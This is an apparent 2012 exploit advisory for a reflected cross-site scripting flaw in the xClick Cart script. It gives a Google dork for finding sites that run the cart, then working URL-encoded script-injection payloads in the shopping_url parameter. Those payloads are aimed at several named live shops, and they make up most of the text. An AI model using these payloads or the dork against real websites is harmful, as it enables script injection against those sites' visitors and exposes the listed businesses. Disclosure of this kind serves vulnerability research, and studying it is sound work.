# Exploit Title: xClick Cart Cross Site Scripting
# Date: 27.01.2012
# Author: Sony
# Software Link: http://www.eliteweaver.co.uk/?page=_xclick-cart
# Version: v1.0.1/v1.0.2
# Google Dorks: intext:"Powered by: xClick Cart" or webscr.php?item_name=
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/01/xclick-cart-cross-site-scripting.html
..................................................................
Original site with software now don't work and we can looking in google on
the some forums, etc..
http://www.webmaster-forums.net/online-business-and-ecommerce/looking-xclick-cart-or-other-super-simple-one-page-cart-paypal
Demo:
Original url:
http://www.scrimshanders.com/pages/cart/webscr.php?cmd=_cart&ew=1&item_name=Scrimshaw+Kit&item_number=SK1&amount=25.00&quantity=1&shipping=&tax=0&shopping_url=/pages/store.php%3Fsid%3D1%26cat%3D24&sid=1&os0=:&on0=
:
Url with our xss:
http://www.scrimshanders.com/pages/cart/webscr.php?cmd=_cart&ew=1&item_name=Scrimshaw+Kit&item_number=SK1&amount=25.00&quantity=1&shipping=&tax=0&shopping_url=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
http://www.scrimshanders.com/pages/cart/license.txt
Another some demo:
http://www.aero-dynamicrecordings.com/html/cds/cart/webscr.php?item_name=test&item_number=SK1&amount=25.00&quantity=1&shipping=&tax=0&shopping_url=%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
http://paint-test-equipment.co.uk/basket/webscr.php?item_name=test&item_number=SK1&amount=25.00&quantity=1&shipping=&tax=0&shopping_url=%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
http://www.barossaliving.com.au/cart/webscr.php?item_name=test&item_number=SK1&amount=25.00&quantity=1&shipping=&tax=0&shopping_url=%27%22%22%3E%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
http://www.vit8.com/cart/webscr.php?item_name=Browse+Page&item_number=SK1&amount=25.00&quantity=1&shipping=&tax=0&shopping_url=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
GreeTz to: Todd ( Packetstormsecurity.org)